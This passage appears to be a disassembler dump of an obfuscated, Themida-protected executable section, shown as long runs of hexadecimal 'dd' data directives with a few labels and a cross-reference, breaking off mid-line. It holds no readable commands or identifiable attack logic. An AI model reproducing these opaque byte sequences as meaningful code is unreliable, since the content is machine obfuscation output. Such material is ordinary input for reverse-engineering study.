6072129h, 5870F51h dd 66000000h, 8204EF81h, 0D3B58B5Fh, 0F060AADh, 6C7FEB7h dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 13C35141h, 0BBAFC768h, 3F882D29h, 0E41BD2Bh, 0BF500607h dd 2EBAC8B8h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 53AC357h, 0AA157076h dd 2F159D31h, 0B5FF0607h, 60AADDFh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0DFC35646h, 5DFCD87Fh, 0AE94Ah dd 3C330000h, 41D34654h, 0B8E717ACh, 13ED9D8Bh, 0CB800607h dd 5195FFB1h, 66060702h, 8B9818BFh, 0AADD3B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 9C1E766h, 8BDA8BE4h, 712A185h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0DBB70F2Fh dd 0EDBD8Bh, 86890607h, 0C4h, 1AD9958Bh, 0BF660607h, 0C283C135h dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0E8E1E630h, 0Bh, 1ECD27C8h, 928AFFAAh, 5F6BEC7Ch dd 6A205089h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 52FBC357h, 0F9312C7Ch, 8FBFA549h dd 0F548BEDh, 688h, 1D958900h, 8D060705h, 0AC17085h, 0DBB70F06h dd 22A18D29h, 86890607h, 0B8h, 2869B529h, 6A0607h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8FC35040h, 14E8h dd 0AC6E7400h, 67E5E77Ah, 0AE33FF69h, 0E556C488h, 0E8D37FA0h dd 5F5F5756h, 66D78B60h, 61CADBB9h, 0ADDFB5FFh, 8166060Ah dd 66935AD7h, 0FF26D0BBh, 7079195h, 88F38106h, 961BB8F2h dd 0F525050h, 50525031h, 5A310F52h, 66310F58h, 5A5375BBh dd 96585A58h, 0D9DBD33h, 0B5FF0607h, 60AADDFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6EC35747h, 8D296FF0h dd 60728F5h, 5E9h, 22137F00h, 95FF85F6h, 6072D09h, 905B589h dd 0BD830607h, 60714C1h, 68840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 72FCC351h, 0BBEB421Ah, 6840Fh, 9D8B0000h, 6071A59h dd 49BF6696h, 0E86050B7h, 0Ah, 0F40897E0h, 895C6220h, 4DB0905Bh dd 6A96615Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 51BDC357h, 0FFFA8BECh, 0AADDFB5h dd 0CF816606h, 95FF8C27h, 6071F95h, 2CB59D8Bh, 0E3810607h dd 3D833A7Bh, 0ADDFB5FFh, 6A060Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 45390FC3h, 82862C5Bh dd 7E986h, 0FB560000h, 687BD5C1h, 0C195FFDFh, 8A060702h dd 65BD83F8h, 2060728h, 73840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0FB4DBDC3h dd 0F35B2256h, 10E9h, 0B3DCA00h, 0CBDF4545h, 5154CDD5h dd 637899A5h, 0B19D8B04h, 8B060722h, 72F619Dh, 69858B06h dd 6A06070Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 6570C355h, 0A1BD8B29h, 0C606070Eh dd 0F3800000h, 5185C77Fh, 6072Ah, 29000000h, 72C5585h dd 0F27BE906h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 880E05C3h, 3D2F03A4h, 66F987DEh dd 0C18BF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 2CC35343h, 0BD8B155Bh, 6070795h, 0E7B3DBFh, 0B1858D60h dd 90060718h, 9050ADB3h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0F2C35040h, 970C1F36h, 0ABBE2A94h, 0B74DB38Eh dd 0F006A11h, 6ADEBFh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 5C35141h, 830F9B2Eh, 6, 2A818D89h, 858D0607h dd 60B8EC6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0F9C35646h, 0ABB545BBh, 698D893Fh, 89060710h, 71E21B5h dd 5C08306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 9CC35040h, 79958931h, 66060700h, 6690D98Bh, 9050F98Bh dd 12E9D98Ah, 4A000000h, 3BE29021h, 5962F7A7h, 72D2F326h dd 19F78400h, 8B006A88h, 711A59Dh, 6A006A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0B8B5C356h, 0BBE58B66h, 6C5F49ABh, 3349BD8Bh, 95FF0607h dd 6071E3Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 76C35747h, 0FF4786ABh, 89512041h, 705918Dh, 0DF815F06h dd 7DC12487h, 93D58D8Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 418544C3h, 35BFBF6Eh dd 0F6064EDh, 0B966CEBFh, 0FF617C09h, 0A99D03D1h, 8306070Ch dd 719BDBDh, 850F0106h, 0A5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0CAC35747h, 6E8h, 0D0DE1C00h dd 5B77D8E0h, 8B666052h, 14E9CFh, 45D40000h, 5FBF0D48h dd 90E8BD77h, 0FF20C723h, 0D17FAE60h, 5B61C568h, 14E8026Ah dd 0EC000000h, 7D97FBECh, 0E25FC4AFh, 0BDCBE780h, 6CFD3894h dd 0E82A7DC8h, 10h, 29FE7348h, 9F74DE98h, 2CA1AC8Bh, 100337A4h dd 1411BD8Bh, 5B5B0607h, 0E9525050h, 6, 6B1C0C36h, 310F85FFh dd 585AF98Bh, 8A240489h, 9195FFFEh, 8B060707h, 706859Dh dd 0DDAE906h, 0E80000h, 5D000000h, 8ED0ED81h, 11E9060Bh dd 0B2000000h, 0E09DB51h, 818A0CC4h, 0A859F2Eh, 0F64B81F1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7C35343h dd 8B607B86h, 0F58529F1h, 6106071Ah, 858DDD8Ah, 60A843Fh dd 50DF8B66h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0AC6BC355h, 3A4EAE01h dd 64FA8B66h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 627D50C3h, 371BD8Bh dd 0F570607h, 285h, 5B62B300h, 258964h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0C648C353h, 0A8F5D83Eh dd 48D0FA0h, 66000000h, 0FFE898BBh, 72F5985h, 7D9D8906h dd 6A060718h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 51B5FF7Bh, 6A060713h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0B89BC355h dd 8B6B469Ch, 70905BDh, 8995FF06h, 0E906072Bh, 15Dh, 28B19D8Bh dd 0B00607h, 287DBD89h, 70E60607h, 6870F60h, 2B000000h dd 71249BDh, 20BBB906h, 0BB612495h, 4618B20Ch, 858971E4h dd 6070F19h, 830F613Ch, 125h, 15830Fh, 10E90000h, 19000000h dd 0A8ECAB64h, 54741D31h, 59B12DBEh, 668B168Bh, 0F81C1BFh dd 8166C8B6h, 0BFC0BECFh, 44C42280h, 6BAh, 0E7816600h dd 0C18BBEAAh, 1FD1BD8Bh, 0AEBB0607h, 0C132E654h, 9D8904E8h dd 6070C25h, 1E2F766h, 718D5BDh, 29C82B06h, 71AF59Dh, 66D18B06h dd 0F9B1D781h, 6E9h, 9852900h, 8B06072Bh, 7020185h, 7C08306h dd 0E800C083h, 13h, 6ACA961Ah, 87ECB80Bh, 0D273DC5Ah, 0A5D4CFF2h dd 8931936Eh, 70BD5B5h, 0D03B5F06h, 16830Fh, 9D8B0000h dd 607134Dh, 0C5B088BBh, 73E90Bh, 85010000h, 6072059h dd 26198D8Bh, 12E90607h, 18000000h, 0CACCC160h, 5FB2BA78h dd 8AC2A5C0h, 4655B5E7h, 1E183B2h, 47840Fh, 0FE90000h dd 88000000h, 48052C30h, 0AB6B584Dh, 59152925h, 0A5830777h dd 6072619h, 7E9FEh, 0ADD30000h, 0D1F6D666h, 1958981h dd 0E9060702h, 10h, 9AFB91h, 0FF921F1Ch, 1C3AE0E2h, 16477719h dd 0E9h, 24B58D00h, 89060AFDh, 70CA9B5h, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0F150C357h, 800F53EFh, 2, 0FF5F5B51h, 70D6995h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 7E989A0h, 0D3000000h, 46120D6Dh, 31B9DB71h, 0F000007h dd 28Ah, 83EEB300h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 3E442AC3h, 9D8B0A4Eh dd 607205Dh, 0F8D8509h, 6AFC0607h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0CB9AC355h dd 0B5BD8B46h, 0B806071Eh, 0 dd 8896BF66h, 9D0BD22Bh, 607117Dh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0BE9h, 13340B00h, 9E411581h, 4E929CC4h dd 0FE8h, 0C913DC00h, 2214C18h, 8BC744F9h, 43798A74h, 0B19BD8Bh dd 665B0607h, 880DFA8Bh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0AFA3C353h dd 8B96A28Ah, 71AD995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 75B5091Ch, 8B060706h dd 7101D8Dh, 0A98D8906h, 50060728h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 19D0958h, 0B7060712h, 29BD8380h dd 6070Eh, 0A3840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0FE40D4C3h, 2D9D89h dd 0C7810607h, 4E586751h, 0B8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 306AC1D6h dd 34D9CE5Eh, 4B5999BBh, 8DDE8B47h, 74B9B8Dh, 0CE906h dd 60CC0000h, 0F732D8B5h, 4981FF87h, 0E1FFDC1Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h, 0E5D74489h dd 19B88E57h, 84BB52DBh, 5F372A5Ch, 0D8B959BBh, 5BD8374h dd 60733h, 3FF840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0CFE29CC3h, 40177FC4h dd 0EEBB8EDBh, 83624C9Ah, 73305BDh, 840F0106h, 3E4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C35646h, 0FED2FB3h dd 68Bh, 959D8B00h, 83060728h, 73305BDh, 860F0306h, 376h dd 6A60F8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 8509EAC3h, 6071E8Dh, 61CFBB66h, 8BD98C66h dd 7222DBDh, 4E18006h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 71C35040h, 0BCDE5065h, 0BD333180h, 6070CA9h dd 840FC90Ah, 10Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 82C35040h, 0E9BF662Fh, 8E9D5h, 98370000h dd 35E67CACh, 858BA1BCh, 6072A1Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 0B4C35747h, 0F9B1CD60h, 474C76C9h dd 8C0F95h, 33000000h, 71AFD85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 89DF5303h dd 0FC3B3F4h, 887h, 28E0F00h, 60000000h, 8B665061h, 240489FBh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CFC35242h dd 0A1BB006Ah, 68018C99h, 544DBE1Fh, 52505160h, 585A310Fh dd 61C88A5Ah, 0E0243481h, 0E95452BDh, 13h, 103B8546h, 1C6DB04Dh dd 39BDCEBAh, 0D496FC7Bh, 0FF2EE9B2h, 709F995h, 918D8906h dd 6606072Bh, 89699FBFh, 0AADDF85h, 192E906h, 0BB660000h dd 858B9E1Ah, 60AADD7h, 1800C7h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1ADB6CC3h dd 1A518D89h, 0B58B0607h, 60AADDBh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 1C35545h, 0E0AD7D5Dh, 4FBB66DFh dd 0CD858B13h, 8906072Bh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0BB1373h, 8B4FFCAAh dd 72A1D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 897B9476h, 29D19D8Bh, 10E90607h dd 72000000h, 727FF99Fh, 0ED68894Bh, 0C5FFABF5h, 8998C2B3h dd 0BD2B0446h, 60721A5h, 0BB665096h, 6A965569h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0E92BC357h, 13h, 73D7D2B6h, 60770C7Fh, 0ED51CCB6h, 0B39E16A4h dd 0FF37DEEDh, 0AADD7B5h, 6E806h, 0FB780000h, 74AB0C93h dd 7E9h, 0EA9C7C00h, 0BBE0E91Ch, 7A34685Fh, 348102A2h dd 0BD79CB24h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0BD22589Eh, 14E9h, 0C64CC700h dd 0BBBE3ACAh, 0FEDCB700h, 0D100455Ch, 79A60EBh, 0DF858D7Ah dd 80060AADh, 0BB90F5C3h, 7AC8F36Fh, 0F7819050h, 71971636h dd 9F995FFh, 9D8B0607h, 6071E1Dh, 0B70F5361h, 85C75FD8h dd 6073305h, 3, 263D9D89h, 18BB0607h, 83065A3Ah, 0AADDFBDh dd 840F0006h, 4Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 4BC35545h, 2F62A5A0h, 43E942h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 4DEF2DC3h, 750B8DA5h, 12E19D8Bh, 30500607h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 12E9C0h dd 87C10000h, 0DDAB43D9h, 0A9E947A0h, 5B793252h, 0DF8355A0h dd 0DE9h, 490B4100h, 0F2588E37h, 3F090A4Dh, 0BD83DAADh dd 6073305h, 52850F03h, 6A000004h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 9387C353h dd 6DBBE618h, 8B5AABC7h, 0DFBD83F8h, 60AADh, 41F840Fh dd 0DA8B0000h, 0ADDFB5FFh, 6E8060Ah, 82000000h, 0C1EA3B47h dd 898D8936h, 5B060710h, 212995FFh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 1A0516C3h dd 5E6F3F3Bh, 68F0FF3h, 9000000h, 703758Dh, 0D3B58B06h dd 66060AADh, 89F664BBh, 703298Dh, 106C706h, 6A000100h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 8C85C357h, 3065BD23h, 0D7810607h, 228B80DEh dd 66605150h, 0B8292FBFh, 1C9BC4DFh, 34895F61h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 396C1C7Fh, 1A0D9529h, 8B500607h, 705AD9Dh, 0B5FF5F06h dd 60AADDFh, 0EE8h, 0AB1BE900h, 5C8031B5h, 0ABA0D127h dd 146DA38h, 725FD85h, 95FF5B06h, 6070251h, 29C19D8Bh dd 0B58B0607h, 60AADD3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0F3C35242h, 0D7816619h, 858BC794h, 60712A1h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0F1C35141h dd 68A0F6Ch, 89000000h, 72931BDh, 7E806h, 85CE0000h, 0FD8CFBF3h dd 0E840F98h, 0E9000000h, 9, 97144478h, 374640CCh, 86895B85h dd 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 8C35747h, 616FE882h, 0BFC86DE4h, 6A071381h, 1AD9958Bh dd 0BD8B0607h, 607006Dh, 6A04C283h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2474C352h dd 985D6A0Ch, 3360E5B2h, 7327DBDh, 0C0B70F06h, 13E961h dd 0B4EF0000h, 1E293C96h, 45F0E4EEh dd 4CD03A5Ch, 4AF6F199h, 205089BCh, 8DFAB70Fh, 0AC17085h dd 800F06h, 89000000h, 0B886h, 8E900h, 74140000h, 5389E48Dh dd 6A1A3Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 3C35242h, 96812274h, 0B70F6047h, 611CB6C7h, 0ADDFB5FFh dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 430C2BC3h, 6B9560ECh, 63D38166h, 9195FFBDh dd 6A060707h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0F4BC356h, 88Ch, 820F5300h, 0 a_cflPs db '_√f▀чPИ',0Ah,0 db 2 dup(0), 59h dd 0F884B307h, 76F38A16h, 6A9646h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0A230DEC3h, 0B70F12F4h dd 0DFB5FFF8h, 6A060AADh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0AEB3C351h, 7AAE3508h dd 2D0995FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0B94B42C3h, 0AE8h, 59F0A800h, 7F551C4h dd 0E956D71Fh, 0Fh, 0F4E3B2D6h, 37FCAA9Dh, 0B8E5DEEBh dd 5F3B94B6h, 14C1BD83h, 0F000607h, 3484h, 5D9D0B00h, 5006072Eh dd 89F88B66h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 2E2AA4C3h, 89DA8BB2h, 7139D85h dd 0DFB5FF06h, 8B060AADh, 710E1BDh, 89BD8B06h, 0FF06072Ch dd 71F9595h, 3ECF8106h, 0FF3E8F07h, 0AADDFB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 9FC46FC5h, 95FFDDB3h, 60702C1h, 8317F780h, 72865BDh dd 840F0206h, 2Bh, 858BF98Ah, 6070E69h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 66C35747h, 660000C6h dd 0C79684BBh, 72A5185h, 6, 85896000h, 6070761h, 0F349E961h dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 2D2DA2C3h, 0A943F7DEh, 0BB106324h, 50B9FCFAh dd 9D33C18Bh, 60712B1h dword_586464 dd 18B1858Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h ; DATA XREF: Themida_:0053CC4Co dd 1A0424h, 57470000h, 479A20C3h, 2D98AEC3h, 29B58589h dd 0BD8B0607h, 6071275h, 9E850h, 0A13B0000h, 0CF98F0E1h dd 8BF1D87Ah, 4895BFAh, 4480BB24h, 6A232Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6FC35545h, 95BD0B26h dd 6A060722h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0F05D6A7h, 858DFABFh, 60B9EC0h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 55C35343h, 0C083C743h dd 5E905h, 75090000h, 50324FDEh, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0E006C357h dd 0FB8E78FEh, 6A215FD9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0A853FEDDh dd 0F1C2A27Eh, 12E1BD89h, 6A0607h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 81C35747h, 2FFFF5D9h, 9D8953B9h dd 6072245h, 3D95FF5Fh, 306071Eh, 72F71BDh, 0D58D8D06h dd 6A060A93h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 9E6EC351h, 8F3C3CDBh, 295C7BD9h dd 711418Dh, 6AD1FF06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 54C0C350h, 2B31AEFAh dd 0B59D8BD5h, 83060710h, 719BDBDh, 850F0106h, 63h, 6A026Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0DBBF29C3h, 585FBA6Fh, 0F381662Dh, 669020DFh, 503ACABBh dd 0CE95250h, 9F000000h, 0D8D60014h, 309E551Dh, 0F189BE2h dd 9AB16031h, 8A0Fh, 5A610000h, 0BD2B9058h, 6072D05h, 79195FFh dd 7DBB0607h, 0E94CF947h, 0C4Dh, 0E8h, 0ED815D00h, 60B9ECAh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 82C35242h dd 4AE2F908h, 14E9h, 0A0F5C000h, 5BD1102Fh, 0C2E5E8D8h dd 2AA6C04Ah, 0A50E58h, 3F858D71h, 8B060A84h, 712C59Dh dd 8B606006h, 7232995h, 820F06h, 61000000h, 12E89061h dd 0AC000000h, 0BA25A273h, 4C30E85Dh, 0F24B6D79h, 43B9E26Eh dd 1CF2BBCBh, 505F48D8h, 90DA8B66h, 0D7D9531h, 0B600607h dd 71A4D8Dh, 0C1D78106h, 616C536Fh, 35FF64h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 8B1BC350h, 258964h, 0FF000000h, 72F5985h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 16361B0Eh, 0AF902448h, 1830F31h, 0F5000000h dd 6ADFB70Fh, 896051FFh, 71FB19Dh, 0D9858B06h, 6106070Ah dd 0FFF98B5Fh, 72639B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0C9EB4883h, 0EFCFB3A0h dd 6860F1Fh, 29000000h, 707AD8Dh, 8995FF06h, 0E906072Bh dd 145h, 6800Fh, 0E3810000h, 476DB2E9h, 9D8900B0h, 6072059h dd 8D2970E6h, 607109Dh, 8B6671E4h, 0F613CD8h, 11C83h, 9D2B5600h dd 6070C65h, 0C8B60F5Bh, 0BAD9BF0Fh, 6, 13E8h, 2FF58900h dd 595475DFh, 0C1FEDB10h, 10CF0EC2h, 3AF11531h, 0B99D8B57h dd 5F06070Ah, 8BC18B5Fh, 720499Dh, 4E8C106h, 9E8h, 6E86D000h dd 3EF4EE2Eh, 9D8B787Eh, 6070555h, 0E2F7665Bh, 3ADBD8Bh dd 0C82B0607h, 2B9DBD8Bh, 0D18B0607h, 0CE9h, 0EA463D00h dd 0C3DEA1AEh, 702A0EF7h, 10E9B9h, 0DF8B0000h, 59858B60h dd 2306070Ch, 729C195h, 858B6106h, 6071405h, 66D8B70Fh dd 0C083D88Bh, 14E907h, 59F40000h, 544E20F0h, 0DFCF2398h dd 0D86FE9D5h, 0D0EB614Ch, 0C083D357h, 5E800h, 0DE0B0000h dd 89B74385h, 72305BDh, 0D03B5B06h, 10830Fh, 9D8B0000h dd 60705D5h, 40E9h, 0A6CEBF00h, 8D8B56AAh, 6072E51h, 1A31BD8Bh dd 0E1830607h, 26840F01h, 0F000000h, 685h, 1BD8B00h, 83060722h dd 72E51A5h, 0DA8AFE06h, 14059589h, 0BD8B0607h, 6070919h dd 0E9h, 8CB58D00h, 6A060B12h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 9E20C352h, 0A3B8E815h dd 4185295Dh, 51060720h, 188D0Fh, 13E90000h, 0A4000000h dd 473DEE69h, 0B048A2FCh, 0E3CFD71Eh, 2FA2CD83h, 6A5F8702h dd 39BD0B00h, 0FF06072Ch, 70D6995h, 98BF6606h, 902B9C0h dd 85290000h, 6070539h, 5800Fh, 81660000h, 8323A2E3h, 6AFCE1h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 3E590AC3h, 8B9F2589h, 72FE59Dh, 6AFC06h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 46807BC3h dd 0B8F877h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 668CC352h, 0A944CB81h dd 0FE9D22Bh, 3C000000h, 0F0C6E29Dh, 95796477h, 7C9AFF3Ah dd 33AD0654h, 3E8D1C2h, 4E983D0h, 0B70FF475h, 50006ADBh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0B5FFDB6Fh, 8969DADDh, 719CD95h, 880D06h, 9D890000h dd 6071B89h, 1AD9958Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 9E38DFC3h, 0BD33E2FDh dd 60729E9h, 101D8D8Bh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 6422E9C3h, 8B506F7Ah dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0ED66E381h dd 0B58961F6h, 6070C85h, 0E29BD83h, 0F000607h, 4184h, 7E800h dd 535B0000h, 0ADEC1EF7h, 0B85FB9h, 60000000h, 8799D89h dd 8D610607h, 74B9B8Dh, 0FB8B6606h, 8E8E1FFh, 95000000h dd 0D68A0BACh, 60A0DB22h, 1185C181h, 8D0164C3h, 60721B9h dd 0BD835F61h, 6073305h, 0CE840F00h, 6A000003h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 2B6BC355h, 0B3B79C17h, 5BD831Dh, 1060733h, 3BA840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 2041FFC3h, 0DF816669h, 12E9549Fh, 20000000h dd 0A6F45635h, 0DE1B36D6h, 8240A815h, 0D274F3F0h, 5BD831Dh dd 3060733h, 33C860Fh, 6A600000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C56AC355h dd 88D0F70h, 0F000000h, 28Fh, 89FA8A00h, 72D1D95h, 0D98C6606h dd 4E180F8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0D6C35545h, 7740A3EDh, 0A167EB4h, 9840FC9h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 8A2DC352h, 947AE338h, 16C6F00Fh, 18C59D89h dd 0B5310607h, 6072A95h, 2A1D858Bh, 10E80607h, 36000000h dd 0C0EB71F6h, 3772531h, 0E9261FD0h, 6635171Ah, 0E555CB81h dd 0FD85335Bh, 0F506071Ah, 12E990h, 96CC0000h, 8AF858E4h dd 175B0605h dd 2C8AD98Ch, 1CFBE3C7h, 3FC3BF50h, 6A90649Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0CE1DC356h, 6A9C5Eh, 0A52EDB81h, 0AD683214h, 5168BE3Fh dd 8B665250h, 0E8310FDAh, 9, 0C97265EBh, 28BFC079h, 585A5FD8h dd 2434815Fh, 68A13C52h, 0FFDF8B66h, 709F995h, 81666006h dd 0F5792CEh, 68Ch, 0F58D8900h, 61060707h, 0ADDF8589h dd 0E7BF060Ah, 0E90270A1h, 142h, 13E9h, 33EF3300h, 0AE6E069Eh dd 7BC45B1Dh, 3A1CED59h, 0A0096590h, 0ADD7858Bh, 0DA8B060Ah dd 1800C7h, 9D8B0000h, 6073235h, 0ADDBB58Bh, 6A060Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 26AF6FC3h, 0F5D8C781h, 858B3A15h, 6072BCDh, 89DF8B66h dd 19D8B06h, 8B060711h, 72A1D85h, 4468906h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 1C35343h, 0FFD6D1E5h dd 1DBD0B06h, 96060711h, 50FE8B66h, 8E8h, 0BD6D8300h, 324C73D6h dd 0DF8B66A3h, 6A965Bh, 3E855h, 5D200000h, 